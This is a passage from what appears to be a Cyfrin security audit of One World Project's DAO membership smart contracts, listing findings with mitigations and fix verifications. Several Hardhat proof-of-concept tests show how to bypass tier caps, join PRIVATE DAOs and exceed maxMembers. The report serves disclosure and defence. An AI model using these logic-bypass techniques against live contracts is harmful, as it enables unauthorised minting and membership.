Recommended Mitigation: Consider using `_msgSender()` instead of `msg.sender` in the above mentioned functions.

One World Project: The MetaTransaction's only intended use is to call the callExternalContract function.The current implementation is that the `EXTERNAL_CALLER` signs the transaction in backend and then sends the signed object to the user and user sends it to the contract by the `executeMetaTransaction()` function. This way OWP Platform does not have to pay gas fees for any admin `transaction._msgSender()` still added at commit hash 83ba905.

Cyfrin: Verified. `_msgSender()` is now used throughout the contract.

7.3.4 Tier restrictions for `SPONSORED` DAOs can be bypassed by calling `MembershipFactory::upgradeTier`

Description: If the DAO specified by the `daoMembershipAddress` parameter in a call to `MembershipFactory::upgradeTier` is registered as `SPONSORED`, members can upgrade their tier by burning two lower tier tokens for one higher tier token. However, the `tiers.minted` member of `MembershipDAOStructs::DAOConfig` is not updated or validated against the configured `tiers.amount`, meaning that a DAO member can mint more higher

tier tokens than intended by minting lower tier tokens and upgrading them.

Impact: The maximum number of memberships for a given tier can be circumvented by upgrading lower tier. Additionally, since `tiers.minted` is not decremented/incremented for the original and upgraded tiers respectively, no new tokens will be able to be minted for the lower tier.

Proof of Concept: The following test can be added to `describe("Upgrade Tier")` in `MembershipFactory.test.ts`:

```
it("can upgrade above max amount and minted not updated", async function () {
  const lowTier = 5;
  const highTier = 4;
  await testERC20.mint(addr1.address, ethers.utils.parseEther("1000000"));
  await testERC20.connect(addr1).approve(membershipFactory.address, ethers.utils.parseEther("1000000"));
  for(let i = 0; i < 40; i++) {
    await membershipFactory.connect(addr1).joinDAO(membershipERC1155.address, highTier);
  }
  // cannot join anymore
  await expect(membershipFactory.connect(addr1).joinDAO(membershipERC1155.address,
  ↪  highTier)).to.be.revertedWith("Tier full.");

  await membershipFactory.connect(addr1).joinDAO(membershipERC1155.address, lowTier);
  await membershipFactory.connect(addr1).joinDAO(membershipERC1155.address, lowTier);

  const tiersBefore = await membershipFactory.daoTiers(membershipERC1155.address);
  expect(tiersBefore[lowTier].minted).to.equal(2);
  expect(tiersBefore[highTier].minted).to.equal(40);

  // but can upgrade tier
  await membershipFactory.connect(addr1).upgradeTier(membershipERC1155.address, lowTier);

  // a total of 41 tokens for tier 4, max amount is 40
  const numberOfTokens = await membershipERC1155.balanceOf(addr1.address, highTier);
  expect(numberOfTokens).to.equal(41);

  // and minted hasn't changed
  const tiersAfter = await membershipFactory.daoTiers(membershipERC1155.address);
  expect(tiersAfter[lowTier].minted).to.equal(tiersBefore[lowTier].minted);
  expect(tiersAfter[highTier].minted).to.equal(tiersBefore[highTier].minted);
});
```

Recommended Mitigation: The `tiers.minted` member should be decremented for the original tier and incremented for the upgraded tier, validating that `tier.amount` is not exceeded.

One World Project: This is a business logic requirement. We have to allow upgradation even after the tier is full. So, the total minted will remain how many were minted, but the upgraded members will be above and beyond that

Cyfrin: Acknowledged.

7.3.5 No membership restrictions placed on `PRIVATE` DAOs allows anyone to join

Description: `MembershipDAOStructs::DAOType` exposes the different types a DAO can have, namely `PRIVATE`, `SPONSORED`, and the default `PUBLIC` which has no restrictions. DAOs of type `SPONSORED` are open but require the use of all tiers, and while `PRIVATE` may be expected to impose further limitations on membership, this case is not handled and so it is possible for anyone to join these DAOs.

Impact: Even if a DAO creator specifies `DAOType.PRIVATE`, there is no possibility to place restrictions on which accounts are allowed to join.

Proof of Concept: The following test can be added to `describe("Create New DAO Membership")` in `MembershipFactory.test.ts`:

```
it("lets anyone join PRIVATE DAOs", async function () {
  await currencyManager.addCurrency(testERC20.address);

  // DAO membership is private
  DAOConfig.daoType = DAOType.PRIVATE;
  await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);

  const ensAddress = await membershipFactory.getENSAddress("testdao.eth");
  const membershipERC1155 = await MembershipERC1155.attach(ensAddress);

  await testERC20.mint(addr1.address, ethers.utils.parseEther("20"));
  await testERC20.connect(addr1).approve(membershipFactory.address, ethers.utils.parseEther("20"));

  // but anyone can join
  await expect(membershipFactory.connect(addr1).joinDAO(membershipERC1155.address,
  ↪  1)).to.not.be.reverted;
});
```

Recommended Mitigation: Consider implementing an allowlist option or similar that the creator of a `PRIVATE` DAO can use to enforce membership restrictions.

One World Project: There are no intentions to disallow anyone from joining the private DAOs in smart contract, they are just mentioned that way to be obscured from public view in the website.

Cyfrin: Acknowledged.

7.3.6 DAO membership can exceed `MembershipDAOStructs::DAOConfig.maxMembers`

Description: The `MembershipDAOStructs::DAOConfig.maxMembers` field is intended as a cap to DAO membership, beyond which should not be exceeded; however, this is currently unused and there is no limit on how many members can join a DAO besides the limit for each respective tier.

Impact: Any number of members can join a DAO, limited only by the maximum amount for each tier.

Proof of Concept: The following test can be added to `describe("Create New DAO Membership")` in `MembershipFactory.test.ts`:

```
it("can exceed maxMembers", async function () {
  // max members is 1
  DAOConfig.maxMembers = 1;
  await currencyManager.addCurrency(testERC20.address);
  await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);

  const ensAddress = await membershipFactory.getENSAddress("testdao.eth");
  const membershipERC1155 = await MembershipERC1155.attach(ensAddress);

  await testERC20.mint(addr1.address, ethers.utils.parseEther("20"));
  await testERC20.connect(addr1).approve(membershipFactory.address, ethers.utils.parseEther("20"));
  await testERC20.mint(addr2.address, ethers.utils.parseEther("20"));
  await testERC20.connect(addr2).approve(membershipFactory.address, ethers.utils.parseEther("20"));

  // two members can join
  await expect(membershipFactory.connect(addr1).joinDAO(membershipERC1155.address,
  ↪  1)).to.not.be.reverted;
  await expect(membershipFactory.connect(addr2).joinDAO(membershipERC1155.address,
  ↪  1)).to.not.be.reverted;
});
```

Recommended Mitigation: Consider validating the amount of members who have joined a DAO and enforce no more than `maxMembers`.

One World Project: maxMembers is only for data verification in backend. Updated the value acc to new data. Fixed in e60b078 and 510f305

Cyfrin: Verified. The sum of `tier.amount` cannot surpass `maxMembers` and `tier.amount` is validated when joining.

7.3.7 Lowest tier (highest index) membership cannot be upgraded

Description: For `SPONSORED` DAOs, members are permitted to upgrade from a lower tier membership to a higher tier by burning two tokens within a call to `MembershipFactory::upgradeTier`. This logic attempts to validate that the current tier can be upgraded:

```
require(daos[daoMembershipAddress].noOfTiers > fromTierIndex + 1, "No higher tier available.");
```

However, one important detail here to note is that the highest tier membership has the lowest tier index when referenced within `MembershipFactory::upgradeTier`. Hence, the highest tier is denoted by `0` and the lowest tier with the highest index, `6`, meaning that the above validation is off-by-one. `7 > 6 + 1` is `false` and it is not possible to upgrade from the lowest tier (highest index) membership. Also note that attempted upgrades from the highest tier (lowest index) fail only due to a revert on underflow when attempting to mint.

Impact: DAO members cannot upgrade the lowest tier memberships to higher tiers.

Proof of Concept: The following test can be added to `describe("Upgrade Tier")` in `MembershipFactory.test.ts`:

```
it("cannot upgrade from lowest tier, highest index", async function () {
  const fromTierIndex = 6;
  await testERC20.mint(addr1.address, ethers.utils.parseEther("1000000"));
  await testERC20.connect(addr1).approve(membershipFactory.address, ethers.utils.parseEther("1000000"));

  await membershipFactory.connect(addr1).joinDAO(membershipERC1155.address, fromTierIndex);
  await membershipFactory.connect(addr1).joinDAO(membershipERC1155.address, fromTierIndex);

  // cannot upgrade from highest index, lowest tier, because of off-by-one
  await expect(membershipFactory.connect(addr1).upgradeTier(membershipERC1155.address,
  ↪  fromTierIndex)).to.be.revertedWith("No higher tier available.");
});
```

Recommended Mitigation: Remove the `+ 1`:

```
-    require(daos[daoMembershipAddress].noOfTiers > fromTierIndex + 1, "No higher tier available.");
+    require(daos[daoMembershipAddress].noOfTiers > fromTierIndex, "No higher tier available.");
```

One World Project: Fixed in 0a94d44.

Cyfrin: Verified. Comparison is now >=.

7.3.8 DAO members have no option to leave

Description: `MembershipFactory` exposes methods to join a DAO and upgrade tiers within a `SPONSORED` type DAO; however, there is no logic directly exposed to DAO members to burn their membership token(s) if they decide to leave the DAO. The only role with permissions to execute this is `EXTERNAL_CALLER` who can do so on behalf of the user, presumably at their request.

Impact: DAO members cannot leave without the cooperation of `EXTERNAL_CALLER`.

Recommended Mitigation: Consider exposing burn logic directly to DAO members so they have the option to leave.

One World Project: There is intentionally no process in place for a member to exit the DAO as per business logic. They can be removed by burning their Membership NFTs through off-chain process by the `EXTERNAL_CALLER`.

Cyfrin: Acknowledged. This dependency introduces additional risks, and we recommend ensuring the off-chain service meets stringent security standards.

7.4 Low Risk

7.4.1 `MembershipERC1155` should use OpenZeppelin upgradeable base contracts

Description: `MembershipERC1155` is an implementation contract intended for use with `TransparentUpgradeableProxy`, controlled via an instance of `ProxyAdmin`; however, it does not utilize the OpenZeppelin upgradeable contracts which are designed to avoid storage collisions between upgrades.

Impact: Upgrading the contract with new OpenZeppelin libraries can lead to storage collisions.

Recommended Mitigation: Consider using the upgradeable versions of `ERC1155`, `AccessControl` and `Initializable`.

One World Project: Updated the openzeppelin version, and solidity version. Had to change some functions due to change in openzeppelin's contracts in `1c3e820`.

Cyfrin: Verified. `MembershipERC1155` now uses upgradeable versions of OpenZeppelin contracts. OpenZeppelin library version upgraded as well.

7.4.2 State update performed after external call in `MembershipERC1155::mint`

Description: When `MembershipERC1155::mint` is invoked during a call to `MembershipFactory::joinDAO`, the `totalSupply` increment is performed after the call to `ERC1155::_mint`:

```
function mint(address to, uint256 tokenId, uint256 amount) external override onlyRole(OWP_FACTORY_ROLE)
↪  {
    _mint(to, tokenId, amount, "");
    totalSupply += amount * 2 ** (6 - tokenId); // Update total supply with weight
}
```

While there does not appear to be any immediate impact, this is in violation of the Checks-Effects-Interactions (CEI) pattern and thus potentially unsafe due to the invocation of `ERC1155::_doSafeTransferAcceptanceCheck`:

```
if (to.isContract()) {
    try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4
    ↪  response) {
        if (response != IERC1155Receiver.onERC1155Received.selector) {
            revert("ERC1155: ERC1155Receiver rejected tokens");
        }
```

Impact: There does not appear to be any immediate impact, although any code executed within a receiver smart contract will work with an incorrect `totalSupply` state.

Recommended Mitigation: Consider increasing the `totalSupply` before the call to `_mint()`.

One World Project: Updated the pattern in `30465a3`.

Cyfrin: Verified. State changes now done before external call is made.

7.4.3 `TierConfig::price` is not validated to follow `TierConfig::power` which itself is not used or validated

Description: When creating a new DAO membership, the creator can specify a `TierConfig::power`; however, this value is never used or validated and is assumed to be `2` throughout the codebase, for example in `MembershipFactory::upgradeTier` where it is assumed that two lower tier tokens can be burnt for one higher tier token:

```
IMembershipERC1155(daoMembershipAddress).burn(msg.sender, fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(msg.sender, fromTierIndex - 1, 1);
```

And in `MembershipERC1155::shareOf` where the multipliers are hardcoded:

```
function shareOf(address account) public view returns (uint256) {
    return (balanceOf(account, 0) * 64) +
           (balanceOf(account, 1) * 32) +
           (balanceOf(account, 2) * 16) +
           (balanceOf(account, 3) * 8) +
           (balanceOf(account, 4) * 4) +
           (balanceOf(account, 5) * 2) +
           balanceOf(account, 6);
}
```

In addition to this, the `TierConfig::price` is never validated to actually increase with the `TierConfig::power` in both `MembershipFactory::createNewDAOMembership` or `MembershipFactory::updateDAOMembership`:

```
for (uint256 i = 0; i < tierConfigs.length; i++) {
    dao.tiers.push(tierConfigs[i]);
}
```

Therefore, DAOs can be created with prices that do not adhere to either `power` specification. Since the `power` is assumed to be `2` in `MembershipFactory::upgradeTier`, this could result in upgrades being cheaper than intended.

Impact: The `power` configuration sent by the DAO creator is not used and assumed to be `2` throughout. `TierConfig::price` is also not validated to actually follow the `power` provided.

Recommended Mitigation: Consider using and validating `TierConfig::power` where mentioned above.

One World Project: This is acc. To the business logic. The upgradation always takes 2 NFTs from lower tier to mint one higher tier one. The power, among other values, is customizable by the dao creator, but it is kept in contract only for off chain validation and has no direct use in the contract.

Cyfrin: Acknowledged.

7.4.4 DAOs of all types can be updated with a lower number of tiers and are not validated to be above zero

Description: When creating a new DAO membership in `MembershipFactory::createNewDAOMembership`, the tiers are validated to be non-zero and not exceed the maximum after parallel data structures are validated to be equal:

```
require(daoConfig.noOfTiers == tierConfigs.length, "Invalid tier input.");
require(daoConfig.noOfTiers > 0 && daoConfig.noOfTiers <= 7, "Invalid tier count.");
```

For `SPONSORED` DAOs, the number of tiers is validated to be equal to the maximum:

```
if (daoConfig.daoType == DAOType.SPONSORED) {
    require(daoConfig.noOfTiers == 7, "Invalid tier count for sponsored.");
}
```

However, there is no such validation when `MembershipFactory::updateDAOMembership` is called, aside from the cap on the number of tiers.

Impact: DAOs of all types can be effectively closed by updating the number of tiers to zero.

Recommended Mitigation: Consider retaining the original validation if this behavior is not intended, ensuring that the number of tiers remains above zero for all DAOs and that `SPONSORED` DAOs must have the maximum number of tiers.

One World Project: Added checks in `1b05816`.

Cyfrin: Verified. `tiers` is now checked to be `> 0` and if DAO is `SPONSORED` to equal to `7`.

7.4.5 `NativeMetaTransaction::executeMetaTransaction` is unnecessarily `payable`

Description: `NativeMetaTransaction::executeMetaTransaction` is marked `payable` but, unlike the OpenZeppelin implementation, the `low-level call` in the function body does not forward any native token. Hence, any native token balance sent as part of the transaction will be stuck in the implementing contract.

Impact: In the case of `MembershipFactory`, native token balances can be rescued by the `EXTERNAL_CALLER` role, but for `OWPIdentity` any native token would be stuck forever.

Recommended Mitigation: Consider removing `payable` from `NativeMetaTransaction::executeMetaTransaction`, since native token is not used in any of the contracts and so it is not needed.

There is also a comment about the `MetaTransactionStruct` that could then be reworded to say *"value isn't included because it is not used in the implementing contracts"*.

One World Project: Updated in `e60b078`

Cyfrin: Verified. `msg.value` is now forwarded.

7.5 Informational

7.5.1 `MembershipERC1155` implementation contract can be initialized

Description: `MembershipERC1155` is an implementation contract intended to be used with the Transparent upgradeable proxy pattern; however, it can be initialized since the `initialize()` function can be called by anyone.

Impact: This cannot be abused in any way other than initializing the implementation contract, which does not affect the proxy but may be confusing for consumers.

Recommended Mitigation: Consider invoking `Initializable::_disableInitializers` within the body of the constructor.

One World Project: Added in `09b6f0f`.

Cyfrin: Verified. `_disabledInitializers()` is now called in the constructor.

7.5.2 Consider making `MembershipERC1155::totalSupply` `public`

Description: The `totalSupply` variable in the `MembershipERC1155` contract is currently marked as `private`:

```
uint256 private totalSupply;
```

As this state variable could be valuable for off-chain computations, it is recommended to consider making it `public` for easier access.

One World Project: Updated in `09b6f0f`.

Cyfrin: Verified. `totalSupply` is now public.

7.5.3 Mixed use of `uint` and `uint256` in `MembershipERC1155`

Description: The state declarations in `MembershipERC1155` use both `uint` and `uint256`:

```
mapping(address => uint256) public totalProfit;
mapping(address => mapping(address => uint)) internal lastProfit;
mapping(address => mapping(address => uint)) internal savedProfit;

uint256 internal constant ACCURACY = 1e30;

event Claim(address indexed account, uint amount);
event Profit(uint amount);
```

This is inconsistent and confusing. Consider using `uint256` everywhere as this is more expressive.

One World Project: Updated in `09b6f0f`.

Cyfrin: Verified. `uint256` is now used.

7.5.4 Unnecessary storage gap in `MembershipERC1155` can be removed

Description: `MembershipERC1155` declares a storage gap at the very end of the contract:

```
uint256[50] private __gap;
```

Such gaps are intended for use by abstract base contracts as they allow state variables to be added to the contract storage layout without "shifting down" the total number of utilized storage slots and thus potentially causing storage collisions in the inheriting contract.

`MembershipERC1155` is not intended to be used as a base contract inherited by other contracts and so has no need for a storage gap, meaning the one present is unnecessary and can be removed.

One World Project: Removed in `09b6f0f`.

Cyfrin: Verified. `__gap` has been removed.

7.5.5 `MembershipFactory::owpWallet` lacks explicitly declared visibility

Description: `MembershipFactory::owpWallet` has no declared visibility:

```
address owpWallet;
```

This gives it the default `internal` visibility; however, it is best practice to explicitly specify the visibility for state variables in the contract.

One World Project: Made public in `09b6f0f`.

Cyfrin: Verified. `owpWallet` is public.

7.5.6 Unnecessarily complex `ProxyAdmin` ownership setup

Description: The `ProxyAdmin` contract is created in the `MembershipFactory` constructor:

```
constructor(address _currencyManager, address _owpWallet, string memory _baseURI, address
↪  _membershipImplementation) {
    // ...
    proxyAdmin = new ProxyAdmin();
```

`ProxyAdmin` inherits `Ownable` and sets the contract owner to `msg.sender`, meaning that this will be the `MembershipFactory` contract.

This ownership structure is further complicated by the requirement for the `EXTERNAL_CALLER` role to call `MembershipFactory::callExternalContract` when managing proxy upgrades. A simpler solution would be to deploy the `ProxyAdmin` independently and pass its address to the `MembershipFactory` constructor.

Recommended Mitigation: Consider deploying a separate instance of `ProxyAdmin` and passing its address as a constructor parameter, allowing the ownership structure to be less complex and easier to manage.

One World Project: Acknowledged. Intentional. Kept as it is.

Cyfrin: Acknowledged.

7.5.7 Upgrading DAO tier emits same event as minting the same tier

Description: If a DAO is registered as SPONSORED, its members can upgrade their membership tier by burning two lower tier tokens for one higher tier token in a call to `MembershipFactory::upgradeTier`.

This will emit the `UserJoinedDAO` event which is the same as that emitted when joining a DAO for the first time, making it impossible to differentiate between these two actions.

Recommended Mitigation: Consider emitting a separate event when a DAO member upgrades their tier.

One World Project: Upgrading mints a new token in a new tier, so same event is kept to track events efficiently in backend.

Cyfrin: Acknowledged.

7.5.8 Inconsistent indentation formatting in `CurrencyManager`

Description: The indentation in `CurrencyManager` is 2 spaces while the indentation for the rest of the codebase is 4 spaces.

Recommended Mitigation: Consider formatting `CurrencyManager` to be consistent with the 4 space indentation convention.

One World Project: Acknowledged.

Cyfrin: Acknowledged.

7.5.9 Unused variables should be used or removed

Description: There following variables are declared but unused throughout the codebase:

- `MembershipDAOStructs::UINT64_MAX`
- `MembershipERC1155::deployer`
- `CurrencyManager::admin`

Consider using or removing these variables.

One World Project: Removed in `09b6f0f`.

Cyfrin: Verified. The above variables have all been removed.

7.5.10 Incorrect `EIP712Base` constructor documentation

Description: This comment documenting the `EIP712` constructor is incorrect:

```
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
```

The only contract in the project using a proxy pattern is `MembershipERC1155` which does not inherit `EIP712Base` directly or otherwise. Hence, the comment is not needed.

There is also a typo:

```
-  // one of the contractsa that inherits this contract follows proxy pattern
+  // one of the contracts that inherits this contract follows proxy pattern
```

One World Project: Removed in `09b6f0f`.

Cyfrin: Verified. The documentation is now removed.

7.5.11 `chainId` is used as the `EIP712Base::EIP712Domain.salt` in `DOMAIN_TYPEHASH`

Description: `EIP712Base` implements EIP-712; however, there is a mistake in the definition of `DOMAIN_TYPEHASH` where `chainId` is used as the `salt` parameter.

According to the EIP-712 specification, the salt should only be used in the `DOMAN_TYPEHASH` as a last resort.

The `chainId` parameter should be used, but rather as a raw chain identifier as done in the OpenZeppelin EIP-712 implementation:

```
bytes32 private constant TYPE_HASH =
    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
```

Consider changing the `DOMAIN_TYPEHASH` to use `chainId` instead of `salt`, or use the OpenZeppelin library directly.

One World Project: Intentional. Kept as it is.

Cyfrin: Acknowledged.

7.5.12 Tier indexing is confusing

Description: Throughout `MembershipERC1155`, the highest tier membership is referred to with the lowest tier index. To consider an example, for a DAO with `6` tiers, the lowest index `0` should be passed to mint the highest tier membership while the highest index `6` should be passed to mint the lowest tier membership.

This is very confusing and can cause issues for users or third-party integrations. Consider reversing this convention such that the highest tier index corresponds to the highest tier membership, and vice versa.

One World Project: Intentional. Tier 0 (Tier 1 in website) is at the highest level. Tier 6 (Tier 7 in website) is lowest.

Cyfrin: Acknowledged.

7.5.13 `MembershipFactory::tiers` will almost always return incorrect state

Description: `MembershipFactory::tiers` exposes the `_tiers` mapping for external consumption, containing specifically the important `minted` state member that indicates how many membership tokens have been minted for a given tier; however, it is not updated in either `MembershipFactory::joinDAO`, unlike the parallel data structure, or `MembershipFactory::upgradeTier`, where both state updates are missing. This means that only the initial configuration state will be returned, unless a call is made to `MembershipFactory::updateDAOMembership` in which case the the mappings for a given DAO are synchronized. Again, this will only be correct until another membership is minted, after which the actual number of tokens minted for a given tier will exceed that stored in the mapping.

Recommended Mitigation: Consider updating both parallel data structures appropriately. Assuming other state update issues are fixed, the `daos` mapping could be used to return the correct state; however, this would require either modifying `MembershipFactory::tiers` to return the `daos.tiers` array or implementing a separate call to query a specific array as the public mapping will not return it by default when simply querying `daos()`. In this case, the `_tiers` mapping is redundant and can be completely removed.

One World Project: Removed in `09b6f0f`.

Cyfrin: Verified. `_tiers` is removed and `MembershipFactory::tiers` now returns the `dao.tiers` array.

7.5.14 The Beacon proxy pattern is better suited to upgrading multiple instances of `MembershipERC1155`

Description: Currently, new membership DAOs are deployed as Transparent upgradeable proxies, managed by a single instance of `ProxyAdmin` exposed to the privileged `EXTERNAL_CALLER` role. Assuming that the intention is to upgrade all DAO proxies in the event the `MembershipERC1155` implementation requires updating, it will be cumbersome to iterate through each contract to perform the upgrade. The Beacon proxy pattern is better-suited to performing this type of global implementation upgrade for all managed proxies and thus recommended over the existing design.

One World Project: The Upgrades will be choices for each DAO separately. So kept as it is.

Cyfrin: Acknowledged.

7.5.15 DAO creators cannot freely update membership configuration

Description: While `MembershipFactory::updateDAOMembership` is intended to update the tier configurations for a specific DAO, this function can only be called by the permissioned `EXTERNAL_CALLER` role. As such, DAO creators cannot freely update membership configuration without coordination of the `EXTERNAL_CALLER` role.

Recommended Mitigation: Allow DAO creators to freely update the membership configuration for their DAOs.

One World Project: DAO creators are not supposed to have that access directly.

Cyfrin: Acknowledged.

7.5.16 EIP-712 name and project symbol are misaligned

Description: The symbol used for the `MembershipERC1155` token is `1WP`; however, `OWP` is used in the EIP-712 name declaration.

This misalignment could be confusing for users signing messages thinking they are going to use `1WP` as the name. Consider using the same name as symbol, or vice versa.

One World Project: Made it OWP in `ba3603a`.

Cyfrin: Verified. Token symbol is now `OWP`.

7.5.17 `OWPIdentity` token lacks a `name` and `symbol`

Description: While `name` and `symbol` are not mandatory in the ERC-1155 specification, they are often used to identify the token; however, the `OWPIdentity` contract does not declare these.

Recommended Mitigation: Consider adding a `name` and `symbol` for easier identification.

One World Project: Added in `09b6f0f`.

Cyfrin: Verified. `name` and `symbol` are added as `public`.

7.5.18 DAOs can be created with non-zero `TierConfig::minted`

Description: When creating a new DAO membership, there is no validation on the `minted` member of the parallel `TierConfig` structs, meaning that DAOs can be created with non-zero minted tokens even when the supply for a given tier index is actually zero.

Recommended Mitigation: Consider enforcing that tier configuration minted states should begin empty.

One World Project: Added check in `09b6f0f`.

Cyfrin: Verified. Check added when pushing the tiers to `dao.tiers`.

7.5.19 `MembershipFactory::joinDAO` will not function correctly with fee-on-transfer tokens

Description: While it is understood that the protocol does not intend to support fee-on-transfer tokens, it is prescient to note that `MembershipFactory::joinDAO` will not function correctly if tokens of this type are ever added to the `CurrencyManager`:

```
IERC20(daos[daoMembershipAddress].currency).transferFrom(msg.sender, owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(msg.sender, daoMembershipAddress, tierPrice -
↪  platformFees);
```

Here, the actual number of tokens received by `owpWallet` and `daoMembershipAddress` will be less than expected.

One World Project: Acknowledged. Fee on transfer tokens are not supported.

Cyfrin: Acknowledged.

7.5.20 Constants should be used in place of magic numbers

Description: There are a number of instances in both `MembershipFactory` [1, 2, 3] and `MembershipERC1155` [1, 2, 3, 4, 5] where magic numbers are used inline within functions – these should be replaced by constant variables for better readability, to avoid repetition, and to reduce the likelihood of error.

One World Project: Added constants at some places where repetitive usage in `09b6f0f`.

Cyfrin: Verified. However only the suggested changes in `MembershipFactory` were implemented, not in `MembershipERC1155`.

7.6 Gas Optimization

7.6.1 The `savedProfit` mapping will always return zero

Description: When a DAO member calls `MembershipERC1155::claimProfit`, their current profit is calculated in

```
function saveProfit(address account, address currency) internal returns (uint profit) {
    uint unsaved = getUnsaved(account, currency);
    lastProfit[account][currency] = totalProfit[currency];
    profit = savedProfit[account][currency] + unsaved;
    savedProfit[account][currency] = profit;
}
```

Here, `savedProfit` is incremented by the calculated unsaved profit. The profit is then paid in `MembershipERC1155::claimProfit` after resetting `savedProfit` to zero:

```
function claimProfit(address currency) external returns (uint profit) {
    profit = saveProfit(msg.sender, currency);
    require(profit > 0, "No profit available");
    savedProfit[msg.sender][currency] = 0;
    IERC20(currency).safeTransfer(msg.sender, profit);
    emit Claim(msg.sender, profit);
}
```

Since `savedProfit` is reset to zero within the lifetime of the same call in which it is initialized, the mapping will always return `0` for a given currency/member pair. Thus, usage in the `savedProfit[account][currency] + unsaved` expression is redundant, meaning the value stored in `savedProfit` is never used and can be safely removed.

Recommended Mitigation: Consider removing `savedProfit`.

One World Project: Updated usage for savedProfit mapping in `a3980c1`

Cyfrin: Closed. `savedProfit` now used.